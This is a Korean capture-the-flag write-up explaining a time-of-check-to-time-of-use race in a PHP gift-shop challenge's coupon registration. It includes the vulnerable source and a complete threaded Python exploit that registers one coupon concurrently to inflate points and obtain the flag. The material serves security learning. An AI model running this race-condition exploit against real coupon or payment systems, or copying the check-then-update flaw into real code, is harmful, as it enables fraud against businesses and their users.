선물 가게 🎁
목차
1. Vuln
ToCToU(Time of Check to Time of Use): 검사 시간(Time of Check)과 사용 시간(Time of Use)은 시스템 일부의 상태를 검사하고 그 결과를 사용하는 과정에서 발생하는 경쟁 조건으로 인해 발생하는 취약점이다.
어떤 자원/상태를 검사해서 안전하다고 판단한 뒤, 실제로 그 자원/상태를 사용하는 사이에 시간이 조금이라도 흐르면, 그 사이에 다른 요청/프로세스가 상태를 바꿔서 검사 결과가 무의미해지는 문제이다.
2. Code
Coupon을 등록하는 과정에서 검사와 상태 변경 사이에 틈이 커서 동시에 요청이 들어오면 포인트가 여러 번 올라갈 수 있다.
2.1. Ticket
토글 접기/펼치기
// generate_ticket 값이 설정되어 있을 경우
if (isset($_POST['generate_ticket'])) {
// PDO 연결
$conn = new mysqli("db", $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$ticket = '';
$is_unique = false;
while (!$is_unique) {
// 16자리 숫자 티켓을 만들어 DB에 저장
$ticket = str_pad(mt_rand(0, 9999999999999999), 16, '0', STR_PAD_LEFT);
$stmt = $conn->prepare("SELECT COUNT(*) FROM entry WHERE number = ?");
$stmt->bind_param("s", $ticket);
$stmt->execute();
$stmt->bind_result($count);
$stmt->fetch();
$stmt->close();
// 카운트가 0일 때
if ($count == 0) {
$is_unique = true;
$stmt_insert = $conn->prepare("INSERT INTO entry (number, used, point, regcup) VALUES (?, 0, 0, 0)"); // used, point, regcup 값을 0으로 초기화
$stmt_insert->bind_param("s", $ticket);
$stmt_insert->execute();
$stmt_insert->close();
}
}
echo "<div class='result'>발급된 입장권 번호: $ticket</div>";
$conn->close();
}
- 16자리 숫자 티켓을
mt_rand()로 만들고, DBentry에 저장한다- 초기값:
used=0, point=0, regcup=0
- 초기값:
- 발급된 티켓 번호를 화면에 출력한다.
2.2. Event
토글 접기/펼치기
// issue_coupon 값이 설정되어 있을 경우
if (isset($_POST['issue_coupon'])) {
$conn = new mysqli("db", $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// 티켓숫자는 POST로 전송됨
$ticket_number = $_POST['ticket_number'];
$stmt = $conn->prepare("SELECT used FROM entry WHERE number = ?");
$stmt->bind_param("s", $ticket_number);
$stmt->execute();
$stmt->store_result();
if ($stmt->num_rows > 0) {
$stmt->bind_result($used);
$stmt->fetch();
// used가 0이면
if ($used == 0) {
// 쿠폰 생성
$coupon = generateCoupon();
// cuppon에 쿠폰값 입력
$stmt_insert = $conn->prepare("INSERT INTO cuppon (number, used) VALUES (?, 0)");
$stmt_insert->bind_param("s", $coupon);
$stmt_insert->execute();
$stmt_insert->close();
// entry.used = 1로 변경
$stmt_update = $conn->prepare("UPDATE entry SET used = 1 WHERE number = ?");
$stmt_update->bind_param("s", $ticket_number);
$stmt_update->execute();
$stmt_update->close();
// 쿠폰 번호 출력
echo "<div class='result'>발급된 쿠폰 번호: $coupon</div>";
} elseif ($used == 1) {
echo "<script>alert('이미 쿠폰이 발급되었습니다.');</script>";
}
} else {
echo "<script>alert('입장권 번호를 확인해 주세요.');</script>";
}
$stmt->close();
$conn->close();
}
- 티켓 번호를 입력하면
entry.used에서 조회한다. used==0이면:generateCoupon()으로 16자리 쿠폰을 생성한다.cuppon(number, used)에 쿠폰을 INSERT한다.entry.used를 1로 변경한다- 쿠폰 번호를 화면에 출력한다.
2.3. Coupon
토글 접기/펼치기
// register_coupon 값이 설정되어 있을 경우
if (isset($_POST['register_coupon'])) {
// DB, PDO 연결
$conn = new mysqli("db", $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// 티켓 번호, 쿠폰 번호 입력
$ticket_number = $_POST['ticket_number'];
$coupon_number = $_POST['coupon_number'];
// 티켓 존재 확인 후 entry.point, entry.regcup 읽음
$stmt_ticket = $conn->prepare("SELECT point, regcup FROM entry WHERE number = ?");
$stmt_ticket->bind_param("s", $ticket_number);
$stmt_ticket->execute();
$stmt_ticket->store_result();
if ($stmt_ticket->num_rows > 0) {
$stmt_ticket->bind_result($point, $regcup);
$stmt_ticket->fetch();
// 쿠폰 존해 확인 후 cuppon.used 읽음
$stmt_coupon = $conn->prepare("SELECT used FROM cuppon WHERE number = ?");
$stmt_coupon->bind_param("s", $coupon_number);
$stmt_coupon->execute();
$stmt_coupon->store_result();
if ($stmt_coupon->num_rows > 0) {
$stmt_coupon->bind_result($used);
$stmt_coupon->fetch();
// used == 0 이고 regcup == 1일 경우
if ($used == 0 && $regcup == 1) {
echo "<script>alert('이벤트 쿠폰은 입장권당 1개만 사용 가능합니다.');hideModal();</script>";
// used == 0일 경우
} elseif ($used == 0) {
// point에 10000을 더함
$stmt_update_point = $conn->prepare("UPDATE entry SET point = point + 10000 WHERE number = ?");
$stmt_update_point->bind_param("s", $ticket_number);
$stmt_update_point->execute();
$stmt_update_point->close();
echo "<script>hideModal();</script><div class='result'>포인트가 10000 증가했습니다.</div>";
// sleep(3)
$stmt_protect_flow = $conn->prepare("SELECT SLEEP(3)");
$stmt_protect_flow->execute();
$stmt_protect_flow->close();
// regcup을 1로 설정
$stmt_update_point = $conn->prepare("UPDATE entry SET regcup = 1 WHERE number = ?");
$stmt_update_point->bind_param("s", $ticket_number);
$stmt_update_point->execute();
$stmt_update_point->close();
// used를 1로 설정
$stmt_update_coupon = $conn->prepare("UPDATE cuppon SET used = 1 WHERE number = ?");
$stmt_update_coupon->bind_param("s", $coupon_number);
$stmt_update_coupon->execute();
$stmt_update_coupon->close();
// used가 1일 경우
} elseif ($used == 1) {
echo "<script>alert('이미 사용된 쿠폰입니다.');hideModal();</script>";
}
} else {
echo "<script>alert('쿠폰 번호를 확인해주세요.');hideModal();</script>";
}
$stmt_coupon->close();
} else {
echo "<script>alert('입장권 번호를 확인해주세요.');hideModal();</script>";
}
$stmt_ticket->close();
$conn->close();
}
- 티켓 번호와 쿠폰 번호를 입력한다.
- 티켓 존재를 확인하고
entry.point, entry.regcup을 읽는다. - 쿠폰 존재를 확인하고
cuppon.used를 읽는다. - 조건 분기
cuppon.used==0 && entry.regcup==1이면 ‘이벤트 쿠폰은 입장권당 1개만 사용 가능합니다.’를 출력한다.cuppon.used==0 && entry.regcup==0이면point += 10000후SLEEP(3)후regcup=1,cuppon.used=1로 설정한다.cuppon.used==1이면 ‘이미 사용된 쿠폰입니다.’를 출력한다.
2.4. Product
토글 접기/펼치기
// enter_shop과 buy_product이 없다면
if (!isset($_POST['enter_shop']) && !isset($_POST['buy_product'])) {
...
} elseif (isset($_POST['enter_shop'])) { // enter_shop가 있다면
$conn = new mysqli("db", $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
// ticket_number 값 조회
$ticket_number = $_POST['ticket_number'];
$stmt_ticket = $conn->prepare("SELECT point FROM entry WHERE number = ?");
$stmt_ticket->bind_param("s", $ticket_number);
$stmt_ticket->execute();
$stmt_ticket->store_result();
if ($stmt_ticket->num_rows > 0) {
$stmt_ticket->bind_result($point);
$stmt_ticket->fetch();
?>
...
<?php
} else { ?>
...
<script>alert('입장권 번호를 확인해주세요.');</script>
... <?php
}
$stmt_ticket->close();
$conn->close();
} elseif (isset($_POST['buy_product'])) { // buy_product가 있다면
$conn = new mysqli("db", $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$ticket_number = $_POST['ticket_number'];
$stmt_ticket = $conn->prepare("SELECT point FROM entry WHERE number = ?");
$stmt_ticket->bind_param("s", $ticket_number);
$stmt_ticket->execute();
$stmt_ticket->store_result();
if ($stmt_ticket->num_rows > 0) {
$stmt_ticket->bind_result($point);
$stmt_ticket->fetch();
// point가 159000 이상일 경우 플래그 출력
if ($point >= 159000) {
echo "<h1>축하합니다!!</h1><br><p>Flag is</br></br>$FLAG</p>";
} else { ?>
<script>alert('금액이 부족합니다...');</script>
...
<?php
}
}
$stmt_ticket->close();
$conn->close();
}
- 티켓 번호를 입력하면 현재 포인트를 표시한다.
- 구매를 클릭하면 포인트를 재조회하고
point가 159000 이상이면 FLAG를 출력한다.- 아니면 ‘금액이 부족합니다…‘를 출력한다.
3. Payload
토글 접기/펼치기
import re
import time
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
from bs4 import BeautifulSoup as bs
# 매칭 조건
RE_TICKET = re.compile(r"발급된\s*입장권\s*번호:\s*(\d{16})")
RE_COUPON = re.compile(r"발급된\s*쿠폰\s*번호:\s*([A-Z0-9]{16})")
RE_POINT = re.compile(r"(현재\s*포인트|포인트)\s*:\s*([0-9]+)")
RE_FLAG = re.compile(r"(DH\{[^}]+\})")
# html에서 글 추출
def html_to_text(resp: requests.Response) -> str:
soup = bs(resp.content, "html.parser")
return soup.get_text(separator="\n", strip=True)
# 패턴 매칭
def extract_one(pattern: re.Pattern, text: str, group: int = 1):
m = pattern.search(text)
return m.group(group) if m else None
# 티켓 발급
def get_ticket(url: str, timeout: float) -> str:
with requests.Session() as se:
resp = se.post(url=url, params={"page": "ticket"}, data={"generate_ticket": ""}, timeout=timeout)
resp.raise_for_status()
text = html_to_text(resp)
ticket = extract_one(RE_TICKET, text)
if not ticket:
raise
return ticket
# 쿠폰 발급
def get_coupon(url: str, ticket: str, timeout: float) -> str:
with requests.Session() as se:
resp = se.post(
url=url,
params={"page": "event"},
data={"issue_coupon": "", "ticket_number": ticket},
timeout=timeout
)
text = html_to_text(resp)
coupon = extract_one(RE_COUPON, text)
if not coupon:
raise
return coupon
# 쓰레드 프로세스
def worker(i: int, url: str, data: dict, barrier: threading.Barrier, barrier_timeout: float, req_timeout: float):
se = requests.Session()
t0 = time.perf_counter()
try:
barrier.wait(timeout=barrier_timeout) # barrier timeout 지정
except threading.BrokenBarrierError as e:
return {"i": i, "ok": False, "stage": "barrier", "error": repr(e), "elapsed": time.perf_counter() - t0}
try:
r = se.post(url, params={"page": "coupon"}, data=data, timeout=req_timeout)
return {
"i": i,
"ok": r.ok,
"stage": "request",
"status": r.status_code,
"elapsed": time.perf_counter() - t0,
}
except requests.RequestException as e:
return {"i": i, "ok": False, "stage": "request", "error": repr(e), "elapsed": time.perf_counter() - t0}
finally:
se.close()
# 쿠폰 동시 등록
def submit_coupon_concurrent(url: str, ticket: str, coupon: str, N: int, barrier_timeout: float, req_timeout: float):
base = requests.Session()
base.get(url, timeout=req_timeout)
data = {"register_coupon": "", "ticket_number": ticket, "coupon_number": coupon}
barrier = threading.Barrier(N)
results = []
with ThreadPoolExecutor(max_workers=N) as ex:
futs = [
ex.submit(worker, i, url, data, barrier, barrier_timeout, req_timeout)
for i in range(N)
]
for f in as_completed(futs):
results.append(f.result())
results.sort(key=lambda x: x["i"])
return results
# 포인트 확인
def check_point(url: str, ticket: str, timeout: float) -> int:
with requests.Session() as se:
resp = se.post(url, params={"page": "product"}, data={"enter_shop": "", "ticket_number": ticket}, timeout=timeout)
resp.raise_for_status()
text = html_to_text(resp)
point_msg = RE_POINT.search(text)
if not point_msg:
raise
return int(point_msg.group(2))
# 플래그 추출
def get_flag(url: str, ticket: str, timeout: float):
with requests.Session() as se:
resp = se.post(url, params={"page": "product"}, data={"buy_product": "", "ticket_number": ticket}, timeout=timeout)
resp.raise_for_status()
text = html_to_text(resp)
flag = extract_one(RE_FLAG, text)
if not flag:
raise
return flag
# 메인
def main():
url = "http://host3.dreamhack.games:12571/"
N = 16 # thread 개수
req_timeout = 10 # request timeout
barrier_timeout = 10 # barrier timeout
# 티켓 발급
ticket = get_ticket(url, req_timeout)
print(f"ticket: {ticket}")
# 쿠폰 발급
coupon = get_coupon(url, ticket, req_timeout)
print(f"coupon: {coupon}")
# 쿠폰 동시 등록
res = submit_coupon_concurrent(url, ticket, coupon, N, barrier_timeout, req_timeout)
ok_cnt = sum(1 for r in res if r.get("ok"))
fail_cnt = len(res) - ok_cnt
print(f"[submit_coupon] N={N} ok={ok_cnt} fail={fail_cnt}")
# 포인트 확인
point = check_point(url, ticket, req_timeout)
print(f"point: {point}")
# flag 추출
flag = get_flag(url, ticket, req_timeout)
print(f"flag: {flag}")
if __name__ == "__main__":
main()
위에서 확인했듯이 ToCToU 취약점을 이용해 쓰레드를 이용해 쿠폰을 동시에 등록하는 함수를 구현했다. 쓰레드 부분은 GPT의 도움을 받았다.

flag
참고
ToCToU:
Comments